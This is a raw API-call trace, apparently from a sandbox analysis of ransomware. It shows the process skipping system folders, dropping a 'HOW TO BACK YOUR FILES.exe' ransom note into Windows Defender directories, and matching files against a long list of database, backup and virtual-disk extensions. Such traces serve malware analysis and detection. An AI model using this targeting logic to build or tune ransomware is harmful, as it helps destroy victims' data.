	[0079.434] lstrcmpiW (lpString1="Backup", lpString2="Apollon865.txt.exe") returned 1
	[0079.434] lstrcmpiW (lpString1="Backup", lpString2=".") returned 1
	[0079.434] lstrcmpiW (lpString1="Backup", lpString2="..") returned 1
	[0079.434] lstrcmpiW (lpString1="Backup", lpString2="windows") returned -1
	[0079.434] lstrcmpiW (lpString1="Backup", lpString2="bootmgr") returned -1
	[0079.434] lstrcmpiW (lpString1="Backup", lpString2="temp") returned -1
	[0079.434] lstrcmpiW (lpString1="Backup", lpString2="pagefile.sys") returned -1
	[0079.434] lstrcmpiW (lpString1="Backup", lpString2="boot") returned -1
	[0079.434] lstrcmpiW (lpString1="Backup", lpString2="ids.txt") returned -1
	[0079.434] lstrcmpiW (lpString1="Backup", lpString2="ntuser.dat") returned -1
	[0079.434] lstrcmpiW (lpString1="Backup", lpString2="perflogs") returned -1
	[0079.434] lstrcmpiW (lpString1="Backup", lpString2="MSBuild") returned -1
	[0079.434] lstrlenW (lpString="Backup") returned 6
	[0079.434] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*") returned 66
	[0079.434] lstrcpyW (in: lpString1=0x119e68a, lpString2="Backup" | out: lpString1="Backup") returned="Backup"
	[0079.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0079.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5c8f30
	[0079.434] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc10 | out: ListHead=0x5b75f0, ListEntry=0x59fc10) returned 0x5b7ab0
	[0079.434] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f89a110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.434] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.434] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1
	[0079.434] lstrcmpiW (lpString1="Updates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.434] lstrcmpiW (lpString1="Updates", lpString2="Apollon865.txt.exe") returned 1
	[0079.434] lstrcmpiW (lpString1="Updates", lpString2=".") returned 1
	[0079.434] lstrcmpiW (lpString1="Updates", lpString2="..") returned 1
	[0079.434] lstrcmpiW (lpString1="Updates", lpString2="windows") returned -1
	[0079.434] lstrcmpiW (lpString1="Updates", lpString2="bootmgr") returned 1
	[0079.434] lstrcmpiW (lpString1="Updates", lpString2="temp") returned 1
	[0079.434] lstrcmpiW (lpString1="Updates", lpString2="pagefile.sys") returned 1
	[0079.434] lstrcmpiW (lpString1="Updates", lpString2="boot") returned 1
	[0079.434] lstrcmpiW (lpString1="Updates", lpString2="ids.txt") returned 1
	[0079.434] lstrcmpiW (lpString1="Updates", lpString2="ntuser.dat") returned 1
	[0079.434] lstrcmpiW (lpString1="Updates", lpString2="perflogs") returned 1
	[0079.435] lstrcmpiW (lpString1="Updates", lpString2="MSBuild") returned 1
	[0079.435] lstrlenW (lpString="Updates") returned 7
	[0079.435] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned 71
	[0079.435] lstrcpyW (in: lpString1=0x119e68a, lpString2="Updates" | out: lpString1="Updates") returned="Updates"
	[0079.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0079.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5a3168
	[0079.435] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd70 | out: ListHead=0x5b75f0, ListEntry=0x59fd70) returned 0x59fc10
	[0079.435] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="{D2B0B~1")) returned 1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="Apollon865.txt.exe") returned -1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2=".") returned 1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="..") returned 1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="windows") returned -1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="bootmgr") returned -1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="temp") returned -1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="pagefile.sys") returned -1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="boot") returned -1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="ids.txt") returned -1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="ntuser.dat") returned -1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="perflogs") returned -1
	[0079.435] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="MSBuild") returned -1
	[0079.435] lstrlenW (lpString="{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned 38
	[0079.435] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned 72
	[0079.435] lstrcpyW (in: lpString1=0x119e68a, lpString2="{D2B0B133-42ED-44D3-809A-46EBB62BA863}" | out: lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned="{D2B0B133-42ED-44D3-809A-46EBB62BA863}"
	[0079.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0079.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd0) returned 0x5a5368
	[0079.435] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x59fd70
	[0079.435] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="{D2B0B~1")) returned 0
	[0079.435] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0079.435] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0079.435] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}"
	[0079.435] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5368 | out: hHeap=0x580000) returned 1
	[0079.435] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0079.435] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned 103
	[0079.436] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}"
	[0079.436] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0079.436] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0079.436] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.436] GetLastError () returned 0x0
	[0079.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.436] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.436] CloseHandle (hObject=0x10c) returned 1
	[0079.437] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.437] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.437] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.437] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.437] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.437] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.437] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.437] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.437] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.437] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.437] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.437] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f8c0270, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.437] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.437] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1fd91f9, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fd91f9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x12c4d000, ftLastWriteTime.dwHighDateTime=0x1cb85c9, nFileSizeHigh=0x0, nFileSizeLow=0xb17190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpasbase.vdm", cAlternateFileName="")) returned 1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="Apollon865.txt.exe") returned 1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2=".") returned 1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="..") returned 1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="windows") returned -1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="bootmgr") returned 1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="temp") returned -1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="pagefile.sys") returned -1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="boot") returned 1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="ids.txt") returned 1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="ntuser.dat") returned -1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="perflogs") returned -1
	[0079.437] lstrcmpiW (lpString1="mpasbase.vdm", lpString2="MSBuild") returned -1
	[0079.437] lstrlenW (lpString="mpasbase.vdm") returned 12
	[0079.437] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*") returned 105
	[0079.437] lstrcpyW (in: lpString1=0x119e6d8, lpString2="mpasbase.vdm" | out: lpString1="mpasbase.vdm") returned="mpasbase.vdm"
	[0079.437] lstrlenW (lpString="mpasbase.vdm") returned 12
	[0079.438] lstrlenW (lpString="Apollon865") returned 10
	[0079.438] lstrcmpiW (lpString1="asbase.vdm", lpString2="Apollon865") returned 1
	[0079.438] lstrlenW (lpString=".dll") returned 4
	[0079.438] lstrcmpiW (lpString1="mpasbase.vdm", lpString2=".dll") returned 1
	[0079.438] lstrlenW (lpString=".lnk") returned 4
	[0079.438] lstrcmpiW (lpString1="mpasbase.vdm", lpString2=".lnk") returned 1
	[0079.438] lstrlenW (lpString=".ini") returned 4
	[0079.438] lstrcmpiW (lpString1="mpasbase.vdm", lpString2=".ini") returned 1
	[0079.438] lstrlenW (lpString=".sys") returned 4
	[0079.438] lstrcmpiW (lpString1="mpasbase.vdm", lpString2=".sys") returned 1
	[0079.438] lstrlenW (lpString="mpasbase.vdm") returned 12
	[0079.438] lstrlenW (lpString="bak") returned 3
	[0079.438] lstrcmpiW (lpString1="vdm", lpString2="bak") returned 1
	[0079.438] lstrlenW (lpString="ba_") returned 3
	[0079.438] lstrcmpiW (lpString1="vdm", lpString2="ba_") returned 1
	[0079.438] lstrlenW (lpString="dbb") returned 3
	[0079.438] lstrcmpiW (lpString1="vdm", lpString2="dbb") returned 1
	[0079.438] lstrlenW (lpString="vmdk") returned 4
	[0079.438] lstrcmpiW (lpString1=".vdm", lpString2="vmdk") returned -1
	[0079.438] lstrlenW (lpString="rar") returned 3
	[0079.438] lstrcmpiW (lpString1="vdm", lpString2="rar") returned 1
	[0079.438] lstrlenW (lpString="zip") returned 3
	[0079.438] lstrcmpiW (lpString1="vdm", lpString2="zip") returned -1
	[0079.438] lstrlenW (lpString="tgz") returned 3
	[0079.438] lstrcmpiW (lpString1="vdm", lpString2="tgz") returned 1
	[0079.438] lstrlenW (lpString="vbox") returned 4
	[0079.438] lstrcmpiW (lpString1=".vdm", lpString2="vbox") returned -1
	[0079.438] lstrlenW (lpString="vdi") returned 3
	[0079.438] lstrcmpiW (lpString1="vdm", lpString2="vdi") returned 1
	[0079.438] lstrlenW (lpString="vhd") returned 3
	[0079.438] lstrcmpiW (lpString1="vdm", lpString2="vhd") returned -1
	[0079.438] lstrlenW (lpString="vhdx") returned 4
	[0079.438] lstrcmpiW (lpString1=".vdm", lpString2="vhdx") returned -1
	[0079.438] lstrlenW (lpString="avhd") returned 4
	[0079.438] lstrcmpiW (lpString1=".vdm", lpString2="avhd") returned -1
	[0079.438] lstrlenW (lpString="db") returned 2
	[0079.438] lstrcmpiW (lpString1="dm", lpString2="db") returned 1
	[0079.438] lstrlenW (lpString="db2") returned 3
	[0079.438] lstrcmpiW (lpString1="vdm", lpString2="db2") returned 1
	[0079.439] lstrlenW (lpString="db3") returned 3
	[0079.439] lstrcmpiW (lpString1="vdm", lpString2="db3") returned 1
	[0079.439] lstrlenW (lpString="dbf") returned 3
	[0079.439] lstrcmpiW (lpString1="vdm", lpString2="dbf") returned 1
	[0079.439] lstrlenW (lpString="mdf") returned 3
	[0079.439] lstrcmpiW (lpString1="vdm", lpString2="mdf") returned 1
	[0079.439] lstrlenW (lpString="mdb") returned 3
	[0079.439] lstrcmpiW (lpString1="vdm", lpString2="mdb") returned 1
	[0079.439] lstrlenW (lpString="sql") returned 3
	[0079.439] lstrcmpiW (lpString1="vdm", lpString2="sql") returned 1
	[0079.439] lstrlenW (lpString="sqlite") returned 6
	[0079.439] lstrcmpiW (lpString1="se.vdm", lpString2="sqlite") returned -1
	[0079.439] lstrlenW (lpString="sqlite3") returned 7
	[0079.439] lstrcmpiW (lpString1="ase.vdm", lpString2="sqlite3") returned -1
	[0079.439] lstrlenW (lpString="sqlitedb") returned 8
	[0079.439] lstrcmpiW (lpString1="base.vdm", lpString2="sqlitedb") returned -1
	[0079.439] lstrlenW (lpString="xml") returned 3
	[0079.439] lstrcmpiW (lpString1="vdm", lpString2="xml") returned -1
	[0079.439] lstrlenW (lpString="$er") returned 3
	[0079.439] lstrcmpiW (lpString1="vdm", lpString2="$er") returned 1
	[0079.439] lstrlenW (lpString="4dd") returned 3
	[0079.439] lstrcmpiW (lpString1="vdm", lpString2="4dd") returned 1
	[0079.439] lstrlenW (lpString="4dl") returned 3
	[0079.439] lstrcmpiW (lpString1="vdm", lpString2="4dl") returned 1
	[0079.439] lstrlenW (lpString="^^^") returned 3
	[0079.439] lstrcmpiW (lpString1="vdm", lpString2="^^^") returned 1
	[0079.439] lstrlenW (lpString="abs") returned 3
	[0079.439] lstrcmpiW (lpString1="vdm", lpString2="abs") returned 1
	[0079.439] lstrlenW (lpString="abx") returned 3
	[0079.439] lstrcmpiW (lpString1="vdm", lpString2="abx") returned 1
	[0079.439] lstrlenW (lpString="accdb") returned 5
	[0079.439] lstrcmpiW (lpString1="e.vdm", lpString2="accdb") returned 1
	[0079.439] lstrlenW (lpString="accdc") returned 5
	[0079.439] lstrcmpiW (lpString1="e.vdm", lpString2="accdc") returned 1
	[0079.439] lstrlenW (lpString="accde") returned 5
	[0079.439] lstrcmpiW (lpString1="e.vdm", lpString2="accde") returned 1
	[0079.439] lstrlenW (lpString="accdr") returned 5
	[0079.439] lstrcmpiW (lpString1="e.vdm", lpString2="accdr") returned 1
	[0079.439] lstrlenW (lpString="accdt") returned 5
	[0079.440] lstrcmpiW (lpString1="e.vdm", lpString2="accdt") returned 1
	[0079.440] lstrlenW (lpString="accdw") returned 5
	[0079.440] lstrcmpiW (lpString1="e.vdm", lpString2="accdw") returned 1
	[0079.440] lstrlenW (lpString="accft") returned 5
	[0079.440] lstrcmpiW (lpString1="e.vdm", lpString2="accft") returned 1
	[0079.440] lstrlenW (lpString="adb") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="adb") returned 1
	[0079.440] lstrlenW (lpString="adb") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="adb") returned 1
	[0079.440] lstrlenW (lpString="ade") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="ade") returned 1
	[0079.440] lstrlenW (lpString="adf") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="adf") returned 1
	[0079.440] lstrlenW (lpString="adn") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="adn") returned 1
	[0079.440] lstrlenW (lpString="adp") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="adp") returned 1
	[0079.440] lstrlenW (lpString="alf") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="alf") returned 1
	[0079.440] lstrlenW (lpString="ask") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="ask") returned 1
	[0079.440] lstrlenW (lpString="btr") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="btr") returned 1
	[0079.440] lstrlenW (lpString="cat") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="cat") returned 1
	[0079.440] lstrlenW (lpString="cdb") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="cdb") returned 1
	[0079.440] lstrlenW (lpString="ckp") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="ckp") returned 1
	[0079.440] lstrlenW (lpString="cma") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="cma") returned 1
	[0079.440] lstrlenW (lpString="cpd") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="cpd") returned 1
	[0079.440] lstrlenW (lpString="dacpac") returned 6
	[0079.440] lstrcmpiW (lpString1="se.vdm", lpString2="dacpac") returned 1
	[0079.440] lstrlenW (lpString="dad") returned 3
	[0079.440] lstrcmpiW (lpString1="vdm", lpString2="dad") returned 1
	[0079.440] lstrlenW (lpString="dadiagrams") returned 10
	[0079.440] lstrcmpiW (lpString1="asbase.vdm", lpString2="dadiagrams") returned -1
	[0079.441] lstrlenW (lpString="daschema") returned 8
	[0079.441] lstrcmpiW (lpString1="base.vdm", lpString2="daschema") returned -1
	[0079.441] lstrlenW (lpString="db-journal") returned 10
	[0079.441] lstrcmpiW (lpString1="asbase.vdm", lpString2="db-journal") returned -1
	[0079.441] lstrlenW (lpString="db-shm") returned 6
	[0079.441] lstrcmpiW (lpString1="se.vdm", lpString2="db-shm") returned 1
	[0079.441] lstrlenW (lpString="db-wal") returned 6
	[0079.441] lstrcmpiW (lpString1="se.vdm", lpString2="db-wal") returned 1
	[0079.441] lstrlenW (lpString="dbc") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="dbc") returned 1
	[0079.441] lstrlenW (lpString="dbs") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="dbs") returned 1
	[0079.441] lstrlenW (lpString="dbt") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="dbt") returned 1
	[0079.441] lstrlenW (lpString="dbv") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="dbv") returned 1
	[0079.441] lstrlenW (lpString="dbx") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="dbx") returned 1
	[0079.441] lstrlenW (lpString="dcb") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="dcb") returned 1
	[0079.441] lstrlenW (lpString="dct") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="dct") returned 1
	[0079.441] lstrlenW (lpString="dcx") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="dcx") returned 1
	[0079.441] lstrlenW (lpString="ddl") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="ddl") returned 1
	[0079.441] lstrlenW (lpString="dlis") returned 4
	[0079.441] lstrcmpiW (lpString1=".vdm", lpString2="dlis") returned -1
	[0079.441] lstrlenW (lpString="dp1") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="dp1") returned 1
	[0079.441] lstrlenW (lpString="dqy") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="dqy") returned 1
	[0079.441] lstrlenW (lpString="dsk") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="dsk") returned 1
	[0079.441] lstrlenW (lpString="dsn") returned 3
	[0079.441] lstrcmpiW (lpString1="vdm", lpString2="dsn") returned 1
	[0079.441] lstrlenW (lpString="dtsx") returned 4
	[0079.441] lstrcmpiW (lpString1=".vdm", lpString2="dtsx") returned -1
	[0079.441] lstrlenW (lpString="dxl") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="dxl") returned 1
	[0079.442] lstrlenW (lpString="eco") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="eco") returned 1
	[0079.442] lstrlenW (lpString="ecx") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="ecx") returned 1
	[0079.442] lstrlenW (lpString="edb") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="edb") returned 1
	[0079.442] lstrlenW (lpString="epim") returned 4
	[0079.442] lstrcmpiW (lpString1=".vdm", lpString2="epim") returned -1
	[0079.442] lstrlenW (lpString="fcd") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="fcd") returned 1
	[0079.442] lstrlenW (lpString="fdb") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="fdb") returned 1
	[0079.442] lstrlenW (lpString="fic") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="fic") returned 1
	[0079.442] lstrlenW (lpString="flexolibrary") returned 12
	[0079.442] lstrlenW (lpString="fm5") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="fm5") returned 1
	[0079.442] lstrlenW (lpString="fmp") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="fmp") returned 1
	[0079.442] lstrlenW (lpString="fmp12") returned 5
	[0079.442] lstrcmpiW (lpString1="e.vdm", lpString2="fmp12") returned -1
	[0079.442] lstrlenW (lpString="fmpsl") returned 5
	[0079.442] lstrcmpiW (lpString1="e.vdm", lpString2="fmpsl") returned -1
	[0079.442] lstrlenW (lpString="fol") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="fol") returned 1
	[0079.442] lstrlenW (lpString="fp3") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="fp3") returned 1
	[0079.442] lstrlenW (lpString="fp4") returned 3
	[0079.442] lstrcmpiW (lpString1="vdm", lpString2="fp4") returned 1
	[0079.442] lstrlenW (lpString="fp5") returned 3
